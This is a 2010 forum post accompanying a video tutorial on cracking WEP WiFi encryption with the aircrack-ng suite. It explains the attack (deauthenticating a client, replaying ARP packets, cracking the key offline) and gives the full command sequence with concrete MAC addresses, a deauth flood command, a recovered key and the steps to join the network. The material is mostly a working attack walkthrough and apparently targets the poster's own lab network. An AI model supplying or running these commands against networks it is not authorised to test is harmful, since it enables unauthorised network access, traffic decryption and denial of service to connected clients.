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Thread: [Video] Cracking WiFi - WEP with a client (aircrack-ng)

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    Moderator g0tmi1k's Avatar
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    Feb 2010

    Lightbulb [Video] Cracking WiFi - WEP with a client (aircrack-ng)

    Watch video on-line:
    Download video:
    What is this?
    Yet another video on "How to crack WEP".

    How does this work?
    ARP beacon is needed (depending on the attack method), so this can be re‐injected back into the network. To get this packets the attacker needs to disconnect a connected client currently on the network (if the attacker keeps on repeating this part, it will be a DoS to the client).

    Once the key beacon has been captured and enough data injected/collected, it is now an offline attack either by brute force or a dictionary attack. Then its just a question of waiting then the attacker will have the key (brute forcing WEP can be less than 60 seconds!)

    From here, the attacker can use that key to decrypt the captured data from before, and now is able to ‘read’ it as well as join the network.

    What do I need?

    > Aircrack-ng suite
    > WiFi card that supports monitor mode & injection

    Name: Aircrack-ng
    Version: 1.0-rc3
    Home Page:
    Download Link:

    airmon-ng stop mon0
    airmon-ng start wlan0
    airodump-ng --channel 8 --write output --bssid 00:19:5B:E7:52:70 mon0
    aireplay-ng --arpreplay -e g0tmi1k -b 00:19:5B:E7:52:70 -h 00:12:17:94:90:0D mon0
    aireplay-ng --deauth 10 -a 00:19:5B:E7:52:70 -c 00:12:17:94:90:0D mon0
    aircrack-ng output*.cap
    ifconfig wlan0 down
    iwconfig wlan0 essid g0tmi1k
    iwconfig wlan0 key 59EF19C76A
    ifconfig wlan0 up
    dhclient wlan0
    If you want WPA/WPA2 PSK (with a hidden SSID) - See:

    Song: Mr. Oizo - Flat Beat
    Video length: 03:50
    Capture length: 07:23

    Blog Post:
    Forum Post:
    Last edited by g0tmi1k; 03-05-2011 at 02:51 PM.
    Have you...g0tmi1k?

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